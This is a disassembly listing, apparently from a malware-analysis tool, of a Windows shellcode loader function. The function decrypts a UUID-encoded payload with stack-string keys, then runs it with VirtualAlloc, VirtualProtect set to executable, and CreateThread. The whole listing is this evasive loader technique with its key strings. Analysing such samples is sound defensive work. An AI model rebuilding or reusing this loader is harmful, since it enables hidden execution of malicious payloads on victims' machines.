Function at 0x140011294
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140012120
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x4e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e148]
xor rax, rbp
mov qword [rbp + 0x1e8], rax
lea rcx, [0x1400240a2]
call fcn.1400113b1
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov byte [rbp + 0x48], 0x62
mov byte [rbp + 0x49], 0x65
mov byte [rbp + 0x4a], 0x65
mov byte [rbp + 0x4b], 0x67
mov byte [rbp + 0x4c], 0x6f
mov byte [rbp + 0x4d], 0x6f
mov byte [rbp + 0x4e], 0x39
mov byte [rbp + 0x4f], 0x45
mov byte [rbp + 0x50], 0x65
mov byte [rbp + 0x51], 0x6a
mov byte [rbp + 0x52], 0x6f
mov byte [rbp + 0x53], 0x68
mov byte [rbp + 0x54], 0x30
mov byte [rbp + 0x55], 0x65
mov byte [rbp + 0x56], 0x67
mov byte [rbp + 0x57], 0x68
mov byte [rbp + 0x58], 0x38
mov byte [rbp + 0x59], 0x66
mov byte [rbp + 0x5a], 0x6f
mov byte [rbp + 0x5b], 0x6f
mov byte [rbp + 0x5c], 0x33
mov byte [rbp + 0x5d], 0x61
mov byte [rbp + 0x5e], 0x65
mov byte [rbp + 0x5f], 0x71
mov byte [rbp + 0x60], 0x75
mov byte [rbp + 0x61], 0x61
mov byte [rbp + 0x62], 0x54
mov byte [rbp + 0x63], 0x39
mov byte [rbp + 0x64], 0x47
mov byte [rbp + 0x65], 0x65
mov byte [rbp + 0x66], 0x69
mov byte [rbp + 0x67], 0x47
mov byte [rbp + 0x88], 0x61
mov byte [rbp + 0x89], 0x69
mov byte [rbp + 0x8a], 0x70
mov byte [rbp + 0x8b], 0x68
mov byte [rbp + 0x8c], 0x30
mov byte [rbp + 0x8d], 0x61
mov byte [rbp + 0x8e], 0x68
mov byte [rbp + 0x8f], 0x6e
mov byte [rbp + 0x90], 0x67
mov byte [rbp + 0x91], 0x6f
mov byte [rbp + 0x92], 0x68
mov byte [rbp + 0x93], 0x35
mov byte [rbp + 0x94], 0x61
mov byte [rbp + 0x95], 0x65
mov byte [rbp + 0x96], 0x52
mov byte [rbp + 0x97], 0x38
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xd8], 0
lea rcx, str._i__Decrypting_UUID_Array..._n
call fcn.1400111b8
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x88]
lea r8, [rbp + 0x48]
mov edx, 0x100
lea rcx, section..data
call fcn.140011073
test eax, eax
jne 0x1400122cd
lea rcx, str.____Failed_to_decrypt_UUID_array_n
call fcn.1400111b8
mov eax, 0xffffffff
jmp 0x14001245e
lea rcx, str.___UUID_Array_Decryption_Done__n
call fcn.1400111b8
lea r9, [rbp + 0x28]
lea r8, [rbp + 8]
mov edx, 0x20
mov rcx, qword [rbp + 0xb8]
call fcn.1400113e8
test eax, eax
jne 0x14001230c
lea rcx, str.____Failed_to_deobfuscate_UUID_array_n
call fcn.1400111b8
mov eax, 0xffffffff
jmp 0x14001245e
lea rcx, str.___UUID_Deobfuscation_Done__n
call fcn.1400111b8
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
lea rcx, str._i__Deobfuscated_Payload_At_:_0x_p_Of_Size_:__d__n
call fcn.1400111b8
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x140012373
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.1400111b8
mov eax, 0xffffffff
jmp 0x14001245e
mov rdx, qword [rbp + 0xf8]
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.1400111b8
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0xf8]
call fcn.1400111d6
mov r8, qword [rbp + 0x28]
xor edx, edx
mov rcx, qword [rbp + 8]
call fcn.1400112ee
mov dword [rbp + 0x114], 0
lea r9, [rbp + 0x114]
mov r8d, 0x40
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400123f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.1400111b8
mov eax, 0xffffffff
jmp 0x14001245e
lea rcx, str.___Press__Enter__To_Run_...
call fcn.1400111b8
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0xf8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140012447
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.1400111b8
mov eax, 0xffffffff
jmp 0x14001245e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001b6e0]
call fcn.14001133e
mov rax, rdi
mov rcx, qword [rbp + 0x1e8]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x1f8]
pop rdi
pop rbp
ret